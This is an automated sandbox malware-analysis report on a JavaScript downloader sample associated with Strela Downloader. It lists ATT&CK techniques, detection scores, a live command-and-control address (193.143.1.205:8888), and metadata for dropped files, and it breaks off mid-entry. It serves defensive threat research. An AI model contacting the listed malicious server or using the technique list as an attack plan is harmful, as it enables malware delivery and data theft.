Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2843421561127533345.js	5%	Virustotal		Browse
2843421561127533345.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/L	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.10.dr, qmgr.db.10.dr	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.3385753295.000001F105400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.9.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 0000000A.00000003.2230482036.000001F1053B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000008.00000003.2245575271.000001CCA1BDD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.2246023274.000001CCA1BA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.2246066160.000001CCA1BFD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000003.2235413311.000001CCA1BFB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.2246066160.000001CCA1BDD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/L	net.exe, 00000008.00000003.2245575271.000001CCA1BDD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.2246066160.000001CCA1BDD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587898
Start date and time:	2025-01-10 19:06:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2843421561127533345.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 23.209.209.135, 2.23.242.162, 2.16.168.107, 2.16.168.105, 184.28.90.27, 13.107.246.45, 172.202.163.200, 54.224.241.105, 23.56.162.204, 4.175.87.197
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:07:55	API Interceptor	36x Sleep call for process: powershell.exe modified
13:08:00	API Interceptor	2x Sleep call for process: svchost.exe modified
13:08:01	API Interceptor	1x Sleep call for process: net.exe modified
13:08:07	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1972511502582515381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8306978052887642
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug6:gJjJGtpTq2yv1AuNZRY3diu8iBVqFU
MD5:	AA63FC9774A85B470437DCD5586394A6
SHA1:	B6FC8EA26ACC0EFF957918A1AEEFE8551D9CE2E2
SHA-256:	C40FFCFDB194BC946D2CA45E0F8EAF0C3D2D1C623FFD4654AF70927406AB7F10
SHA-512:	5EE83B98AF5D15D099E6A784FCE2863B4D18132841447D4F10B089E6CC0023C37C3C99961FFA0917B75AD3AE08B093D9E6B892D6F192398F84E9CB9FF5319718
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x96a05f09, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585082506321257
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Jaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	DAA11FB45FD3DE40CF0BD10ACA0F85D6
SHA1:	E7D2D47E6272F7F7DF329C90035760E236EA908D
SHA-256:	8479B7E8D05A2CEF1973534FD14940C69EAA78707D25E3B60D8A9169FAE861C3
SHA-512:	5C8C9E213376EB183482266D8440D2BDA7488EE82D9CA0185F0A310E0584B394088776864A2D4566BAB2978CE12239EBE2CF385DACCBDEA50B2C273E78850CBA
Malicious:	false
Preview:	.._.... ...............X\...;...{......................0.z..........{.......}U.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................{]......}....................T......}u..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07954473944742216
Encrypted:	false
SSDEEP:	3:wAdYeSFXovekGuAJkhvekl1ZlEqllrekGltll/SPj:wAzoitrxlDieJe3l
MD5:	51318D65D86239AEABC1669E39CD61E2
SHA1:	85EC680368F5BC7AADEE3D9ECA9D7E1CF0255DDD
SHA-256:	692311D28916B0F0EFE776C68B40C964AD478D28C98E75278B4F29A0D9B72AE9
SHA-512:	71B73210982E2B2BFE722951EAC304BEB3EDC9557210C4B7C3023BC73B8630E1275FE7CDFC29D14AF9B865827367B0ECAD5654C42360C73E69E23C1A8D9A5809
Malicious:	false
Preview:	E.~......................................;...{.......}u......{...............{.......{...XL......{....................T......}u.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.162509138567795
Encrypted:	false
SSDEEP:	6:iO4kDq2P92nKuAl9OmbnIFUtSk5ZmwskukwO92nKuAl9OmbjLJ:7hv4HAahFUtN/k5LHAaSJ
MD5:	7B0B6928B58A95E7F96036D9E95810C4
SHA1:	62C73136DE72E1A7096423DC471E5C579802FA59
SHA-256:	B5C4127749854B600E6A32AD745EBCEDC9BE7E7F1F05B03761E86549957BCA29
SHA-512:	795A75A0B3CD224627316FAFF943B60D57FB875CE846119D0002B954B6C86670658D8B925437876B5C992E4BB12164EAA2A81D9DB3EF449351560DA5AFFB5305
Malicious:	false
Preview:	2025/01/10-13:08:00.293 10d4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:08:00.296 10d4 Recovering log #3.2025/01/10-13:08:00.297 10d4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.162509138567795
Encrypted:	false
SSDEEP:	6:iO4kDq2P92nKuAl9OmbnIFUtSk5ZmwskukwO92nKuAl9OmbjLJ:7hv4HAahFUtN/k5LHAaSJ
MD5:	7B0B6928B58A95E7F96036D9E95810C4
SHA1:	62C73136DE72E1A7096423DC471E5C579802FA59
SHA-256:	B5C4127749854B600E6A32AD745EBCEDC9BE7E7F1F05B03761E86549957BCA29
SHA-512:	795A75A0B3CD224627316FAFF943B60D57FB875CE846119D0002B954B6C86670658D8B925437876B5C992E4BB12164EAA2A81D9DB3EF449351560DA5AFFB5305
Malicious:	false
Preview:	2025/01/10-13:08:00.293 10d4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:08:00.296 10d4 Recovering log #3.2025/01/10-13:08:00.297 10d4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.0945934604746155
Encrypted:	false
SSDEEP:	6:iO4k6K9yq2P92nKuAl9Ombzo2jMGIFUtSk4w1ZmwskERkwO92nKuAl9Ombzo2jM4:7xAv4HAa8uFUtUw1/y5LHAa8RJ
MD5:	AD08554BE0A56BDA818431E162A15E1A
SHA1:	578B01CE048270C56E5352B8F7E86D8B817CF50B
SHA-256:	BEB7F7D4D634D5D99D5E0D273E8DFEAB4AE34843F0BE4E4CB4A7BACAEF633375
SHA-512:	28BC8129579CD21AF01160CA44A859E9E0AC2C269FD31D2945732A2073CEB762328EF79E015A8221A5D7619BFAF38F20582926CE5490652335AA40AEE8BA78F2
Malicious:	false
Preview:	2025/01/10-13:08:00.490 1ca0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:08:00.492 1ca0 Recovering log #3.2025/01/10-13:08:00.493 1ca0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.0945934604746155
Encrypted:	false
SSDEEP:	6:iO4k6K9yq2P92nKuAl9Ombzo2jMGIFUtSk4w1ZmwskERkwO92nKuAl9Ombzo2jM4:7xAv4HAa8uFUtUw1/y5LHAa8RJ
MD5:	AD08554BE0A56BDA818431E162A15E1A
SHA1:	578B01CE048270C56E5352B8F7E86D8B817CF50B
SHA-256:	BEB7F7D4D634D5D99D5E0D273E8DFEAB4AE34843F0BE4E4CB4A7BACAEF633375
SHA-512:	28BC8129579CD21AF01160CA44A859E9E0AC2C269FD31D2945732A2073CEB762328EF79E015A8221A5D7619BFAF38F20582926CE5490652335AA40AEE8BA78F2
Malicious:	false
Preview:	2025/01/10-13:08:00.490 1ca0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:08:00.492 1ca0 Recovering log #3.2025/01/10-13:08:00.493 1ca0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4920e2.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ec7a7cbd-ba6b-4186-b824-c8e07542838d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.050839215567672
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqpIhYhsBdOg2HKAcaq3QYiubxnP7E4TfF+:Y2sRdsZ7dMHg3QYhbxP7np+
MD5:	9060D73DD2E2A66EC55E23268447F372
SHA1:	CED71F716C3EA36B65BE4CC23AB3828C969DFFF2
SHA-256:	B3448CE9A5EBC0A38F3836EE73C60B3F12545DDF01E134D8960EF00EE4536E34
SHA-512:	5427D13D7527A2CADA91C361B2509D85E5BEC9C1D524754005BFDE35F9F31388F46B34A244AA3237A702A355686CB096FFBAE53E74516C6E2BA825442A31EAEB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381092492060304","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124848},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\edd85c04-2001-4aff-9867-06e0bc79b908.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.231219411881521
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU/+lh/q:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLQ
MD5:	58A94A7DBDC2F7620215347BED60D88F
SHA1:	C63A493F8E77D3849A93042BC3E678A465F5D7D8
SHA-256:	41FD5056A365A9B719215397128F401AED81AEE992F9C428C99B87A28A17D253
SHA-512:	33A28329C6E04F7A66E18ADF22412946D469006DD55A3092A95FDF0870DFD7246C0A5E864CADB2E9F31D31DDBC0B38143E168AC0B37CFF9786C5C60AB7B5EF6F
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.082520591949725
Encrypted:	false
SSDEEP:	6:iO4kslyq2P92nKuAl9OmbzNMxIFUtSkg1ZmwskXxRkwO92nKuAl9OmbzNMFLJ:7Pv4HAa8jFUtM1/l5LHAa84J
MD5:	44D702137F4EAC1DDE46607E313F570D
SHA1:	D3A44ED0A6E60038D12B8631397EC1DAFFAF09C0
SHA-256:	53A52C9C3F3CE16720A62177062D0AFAFC813E4F63FA949415A43BDD2A971150
SHA-512:	32843D383378A7C3D348C8719BA62B59FAB37FC1454A92EDC0A4F0C879753429C2F78F1C9BFA2BF9D7472AEF68E05A4DF89351EB5F946EACCD1649CB16485E40
Malicious:	false
Preview:	2025/01/10-13:08:00.804 1ca0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:08:00.842 1ca0 Recovering log #3.2025/01/10-13:08:00.843 1ca0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.082520591949725
Encrypted:	false
SSDEEP:	6:iO4kslyq2P92nKuAl9OmbzNMxIFUtSkg1ZmwskXxRkwO92nKuAl9OmbzNMFLJ:7Pv4HAa8jFUtM1/l5LHAa84J
MD5:	44D702137F4EAC1DDE46607E313F570D
SHA1:	D3A44ED0A6E60038D12B8631397EC1DAFFAF09C0
SHA-256:	53A52C9C3F3CE16720A62177062D0AFAFC813E4F63FA949415A43BDD2A971150
SHA-512:	32843D383378A7C3D348C8719BA62B59FAB37FC1454A92EDC0A4F0C879753429C2F78F1C9BFA2BF9D7472AEF68E05A4DF89351EB5F946EACCD1649CB16485E40
Malicious:	false
Preview:	2025/01/10-13:08:00.804 1ca0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:08:00.842 1ca0 Recovering log #3.2025/01/10-13:08:00.843 1ca0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7647458239154146
Encrypted:	false
